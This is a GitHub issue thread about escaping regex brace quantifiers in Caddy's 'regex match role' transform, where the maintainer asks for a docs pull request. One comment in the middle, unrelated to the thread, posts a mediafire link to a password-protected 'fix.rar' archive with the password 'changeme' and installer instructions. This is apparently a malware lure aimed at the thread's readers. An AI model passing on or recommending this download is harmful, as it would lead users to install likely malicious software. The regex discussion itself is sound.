Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve 'regex match role' to note escaping braces #64

Open
mechanarchy opened this issue Aug 27, 2024 · 2 comments
Open

Improve 'regex match role' to note escaping braces #64

mechanarchy opened this issue Aug 27, 2024 · 2 comments

Comments

@mechanarchy
Copy link

I am trying to match and drop roles named as GUIDs, using:

transform user {
  regex match role "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
  action drop matched role
}

However, this conflicts with Caddy's use of placeholders, and the {4} are stripped out, meaning that this matching rule does not work as expected. The correct syntax to use here is:

regex match role "[0-9a-f]\\{8\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{4\\}-[0-9a-f]\\{12\\}"

Please can this be noted in the documentation to help other users avoid the same pitfall:

## Drop Matched Roles
This feature is available starting `v1.1.24`.
The following transform removes any role with whitespaces from the
token issued to a user.
```
transform user {
regex match role "\s"
action drop matched role
}
```

@amir1387aht
Copy link

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@greenpau
Copy link
Collaborator

@mechanarchy , thank you for pointing this out. Please submit PR to the docs repo.

@mechanarchy
Copy link
Author

Thanks @greenpau , I have opened #65.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants